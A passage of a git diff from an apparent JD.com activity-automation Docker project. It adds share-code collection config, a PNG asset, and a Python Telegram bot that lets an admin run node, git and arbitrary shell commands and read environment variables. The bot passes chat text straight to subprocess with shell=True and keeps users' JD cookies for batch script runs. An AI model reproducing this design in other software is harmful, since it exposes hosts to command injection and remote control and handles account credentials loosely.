日志路径 变量名 + +############# 短期活动 ############# + + +############# 长期活动 ############# + +#东东农场 +autoHelp "东东农场好友互助码" "${logDir}/jd_fruit.log" "FRUITSHARECODES" + +#东东萌宠 +autoHelp "东东萌宠好友互助码" "${logDir}/jd_pet.log" "PETSHARECODES" + +#种豆得豆 +autoHelp "京东种豆得豆好友互助码" "${logDir}/jd_plantBean.log" "PLANT_BEAN_SHARECODES" + +#京喜工厂 +autoHelp "京喜工厂好友互助码" "${logDir}/jd_dreamFactory.log" "DREAM_FACTORY_SHARE_CODES" + +#东东工厂 +autoHelp "东东工厂好友互助码" "${logDir}/jd_jdfactory.log" "DDFACTORY_SHARECODES" + +#crazyJoy +autoHelp "crazyJoy任务好友互助码" "${logDir}/jd_crazy_joy.log" "JDJOY_SHARECODES" + +#京喜财富岛 +autoHelp "京喜财富岛好友互助码" "${logDir}/jd_cfd.log" "JDCFD_SHARECODES" + +#京喜农场 +autoHelp "京喜农场好友互助码" "${logDir}/jd_jxnc.log" "JXNC_SHARECODES" + +#京东赚赚 +autoHelp "京东赚赚好友互助码" "${logDir}/jd_jdzz.log" "JDZZ_SHARECODES" + +######### 日志打印格式需调整 ######### + +#口袋书店 +autoHelp "口袋书店好友互助码" "${logDir}/jd_bookshop.log" "BOOKSHOP_SHARECODES" + +#领现金 +autoHelp "签到领现金好友互助码" "${logDir}/jd_cash.log" "JD_CASH_SHARECODES" + +#闪购盲盒 +autoHelp "闪购盲盒好友互助码" "${logDir}/jd_sgmh.log" "JDSGMH_SHARECODES" + +#东东健康社区 +autoHelp "东东健康社区好友互助码" "${logDir}/jd_health.log" "JDHEALTH_SHARECODES" diff --git a/docker/bot/jd.png b/docker/bot/jd.png new file mode 100644 index 0000000000000000000000000000000000000000..c948dadaf6c083aced3892b33b992f835d578e9d GIT binary patch literal 7335 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 N002ovPDHLkV1iZA13CZz literal 0 HcmV?d00001 diff --git a/docker/bot/jd_bot b/docker/bot/jd_bot new file mode 100644 index 0000000..9b818f1 --- /dev/null +++ b/docker/bot/jd_bot @@ -0,0 +1,1114 @@ +# -*- coding: utf-8 -*- +# @Author : iouAkira(lof) +# @mail : e.akimoto.akira@gmail.com +# @CreateTime: 2020-11-02 +# @UpdateTime: 2021-03-23 + +import math +import os +import subprocess +from subprocess import TimeoutExpired +from MyQR import myqr +import requests +import time +import logging +import re +from urllib.parse import quote, unquote + +import telegram.utils.helpers as helpers +from telegram import InlineKeyboardButton, InlineKeyboardMarkup, ParseMode +from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler + +# 启用日志 +logging.basicConfig(format='%(asctime)s-%(name)s-%(levelname)s=> [%(funcName)s] %(message)s ', level=logging.INFO) +logger = logging.getLogger(__name__) + +_base_dir = '/scripts/' +_logs_dir = '%slogs/' % _base_dir +_docker_dir = '%sdocker/' % _base_dir +_bot_dir = '%sbot/' % _docker_dir +_share_code_conf = '%scode_gen_conf.list' % _logs_dir + +if 'GEN_CODE_CONF' in os.environ: + share_code_conf = os.getenv("GEN_CODE_CONF") + if share_code_conf.startswith("/"): + _share_code_conf = share_code_conf + + +def start(update, context): + from_user_id = update.message.from_user.id + if admin_id == str(from_user_id): + spnode_readme = "" + if "DISABLE_SPNODE" not in os.environ: + spnode_readme = "/spnode 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/spnode /scripts/jd_818.js)\n\n" \ + "使用bot交互+spnode后 后续用户的cookie维护更新只需要更新logs/cookies.list即可\n" \ + "使用bot交互+spnode后 后续执行脚本命令请使用spnode否者无法使用logs/cookies.list的cookies执行脚本,定时任务也将自动替换为spnode命令执行\n" \ + "spnode功能概述示例\n\n" \ + "spnode conc /scripts/jd_bean_change.js 为每个cookie单独执行jd_bean_change脚本(伪并发\n" \ + "spnode 1 /scripts/jd_bean_change.js 为logs/cookies.list文件里面第一行cookie账户单独执行jd_bean_change脚本\n" \ + "spnode jd_XXXX /scripts/jd_bean_change.js 为logs/cookies.list文件里面pt_pin=jd_XXXX的cookie账户单独执行jd_bean_change脚本\n" \ + "spnode /scripts/jd_bean_change.js 为logs/cookies.list所有cookies账户一起执行jd_bean_change脚本\n" \ + "请仔细阅读并理解上面的内容,使用bot交互默认开启spnode指令功能功能。\n" \ + "如需____停用___请配置环境变量 -DISABLE_SPNODE=True" + context.bot.send_message(chat_id=update.effective_chat.id, + text="限制自己使用的JD Scripts拓展机器人\n" \ + "\n" \ + "/start 开始并获取指令说明\n" \ + "/node 获取可执行脚本的列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/node /scripts/jd_818.js) \n" \ + "/git 获取可执行git指令列表,选择对应的按钮执行。(拓展使用:运行指定路径脚本,例:/git -C /scripts/ pull)\n" \ + "/logs 获取logs下的日志文件列表,选择对应名字可以下载日志文件\n" \ + "/env 获取系统环境变量列表。(拓展使用:设置系统环境变量,例:/env export JD_DEBUG=true,环境变量只针对当前bot进程生效) \n" \ + "/cmd 执行执行命令。参考:/cmd ls -l 涉及目录文件操作请使用绝对路径,部分shell命令开放使用\n" \ + "/gen_long_code 长期活动互助码提交消息生成\n" \ + "/gen_temp_code 短期临时活动互助码提交消息生成\n" \ + "/gen_daily_code 每天变化互助码活动提交消息生成\n\n%s" % spnode_readme) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def node(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/node') + if len(commands) > 0: + cmd = 'node %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=3600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'node', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('node') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def spnode(update, context): + """关于定时任务中nodejs脚本的相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/spnode') + if len(commands) > 0: + cmd = 'spnode %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + file_name = re.split(r"\W+", cmd) + if 'js' in file_name: + file_name.remove('js') + log_name = '%sbot_%s_%s.log' % (_logs_dir, 'spnode', file_name[-1]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + else: + reply_markup = get_reply_markup_btn('spnode') + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的nodejs脚本 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def git(update, context): + """关于/scripts仓库的git相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/git') + if len(commands) > 0: + cmd = 'git %s' % (' '.join(commands)) + try: + + out_bytes = subprocess.check_output( + cmd, shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, 'git', os.path.splitext(commands[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except TimeoutExpired: + + context.bot.sendMessage(text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行超时 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + + except: + + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + cmd))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + else: + reply_markup = get_reply_markup_btn('git') + + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想要执行的git指令 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def env(update, context): + """env 环境变量相关操作 + """ + if is_admin(update.message.from_user.id): + commands = update.message.text.split() + commands.remove('/env') + if len(commands) == 2 and (commands[0]) == 'export': + + try: + envs = commands[1].split('=') + os.putenv(envs[0], envs[1]) + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ 环境变量设置成功 ↓↓↓ \n\n%s ' % ('='.join(envs)))), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.sendMessage( + text='```{}```'.format(helpers.escape_markdown(' →→→ %s 执行出错,请检查确认命令是否正确 ←←← ' % ( + ' '.join(commands)))), chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + raise + + elif len(commands) == 0: + out_bytes = subprocess.check_output( + 'env', shell=True, timeout=600, stderr=subprocess.STDOUT) + + out_text = out_bytes.decode('utf-8') + + if len(out_text.split()) > 50: + + msg = context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % 'env')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s.log' % (_logs_dir, 'env') + + with open(log_name, 'a+') as wf: + wf.write(out_text + '\n\n') + + msg.reply_document( + reply_to_message_id=msg.message_id, quote=True, document=open(log_name, 'rb')) + else: + + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ env 执行结果 ↓↓↓ \n\n%s ' % out_text)), + chat_id=update.effective_chat.id, parse_mode=ParseMode.MARKDOWN_V2) + else: + context.bot.sendMessage(text='```{}```'.format( + helpers.escape_markdown(' →→→ env 指令不正确,请参考说明输入 ←←← ')), chat_id=update.effective_chat.id, + parse_mode=ParseMode.MARKDOWN_V2) + + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def crontab(update, context): + """关于crontab 定时任务相关操作 + """ + reply_markup = get_reply_markup_btn('crontab_l') + + if is_admin(update.message.from_user.id): + try: + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 下面为定时任务列表,请选择需要的操作 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + except: + raise + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def logs(update, context): + """关于_logs_dir目录日志文件的相关操作 + """ + reply_markup = get_reply_markup_btn('logs') + + if is_admin(update.message.from_user.id): + update.message.reply_text(text='```{}```'.format(helpers.escape_markdown(' ↓↓↓ 请选择想想要下载的日志文件或者清除所有日志 ↓↓↓ ')), + reply_markup=reply_markup, parse_mode=ParseMode.MARKDOWN_V2) + else: + update.message.reply_text(text='此为私人使用bot,不能执行您的指令!') + + +def callback_run(update, context): + """执行按钮响应回调方法处理按钮点击事件 + """ + query = update.callback_query + select_btn_type = query.data.split()[0] + chat = query.message.chat + logger.info("callback query.message.chat ==> %s " % chat) + logger.info("callback query.data ==> %s " % query.data) + if select_btn_type == 'node' or select_btn_type == 'spnode' or select_btn_type == 'git': + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output( + query.data, shell=True, timeout=600, stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(query.data.split('/')[-1])[0]) + logger.info('log_name==>' + log_name) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (query.data, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % query.data) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + except: + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行出错 ←←← ' % query.data), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + raise + elif select_btn_type.startswith('cl'): + if select_btn_type == 'cl': + logger.info(f'crontab_l ==> {query.data.split()[1:]}') + reply_markup = InlineKeyboardMarkup([ + [InlineKeyboardButton( + ' '.join(query.data.split()[1:]), callback_data='pass')], + [InlineKeyboardButton('⚡️执行', callback_data='cle %s' % ' '.join(query.data.split()[1:])), + InlineKeyboardButton('❌删除', callback_data='cld %s' % ' '.join(query.data.split()[1:]))] + ]) + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 请选择对该定时任务的操作 ↓↓↓ '), + chat_id=query.message.chat_id, + reply_markup=reply_markup, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + elif select_btn_type == 'cle': + cmd = ' '.join(query.data.split()[6:]) + try: + context.bot.edit_message_text(text='```{}```'.format(' ↓↓↓ 任务正在执行 ↓↓↓ \n\n%s' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, parse_mode=ParseMode.MARKDOWN_V2) + out_bytes = subprocess.check_output(cmd, shell=True, timeout=600, + stderr=subprocess.STDOUT) + out_text = out_bytes.decode('utf-8') + if len(out_text.split()) > 50: + + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果超长,请查看log ↓↓↓' % cmd)), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + + log_name = '%sbot_%s_%s.log' % ( + _logs_dir, select_btn_type, os.path.splitext(cmd.split('/')[-1])[0]) + + with open(log_name, 'a+') as wf: + wf.write(out_text) + + query.message.reply_document( + reply_to_message_id=query.message.message_id, quote=True, document=open(log_name, 'rb')) + + else: + context.bot.edit_message_text(text='```{}```'.format( + helpers.escape_markdown(' ↓↓↓ %s 执行结果 ↓↓↓ \n\n%s ' % (cmd, out_text))), + chat_id=update.effective_chat.id, message_id=query.message.message_id, + parse_mode=ParseMode.MARKDOWN_V2) + except TimeoutExpired: + logger.error(' →→→ %s 执行超时 ←←← ' % ' '.join(cmd[6:])) + context.bot.edit_message_text(text='```{}```'.format(' →→→ %s 执行超时 ←←← ' % cmd), + chat_id=query.message.chat_id, + message_id=query.message.message_id, 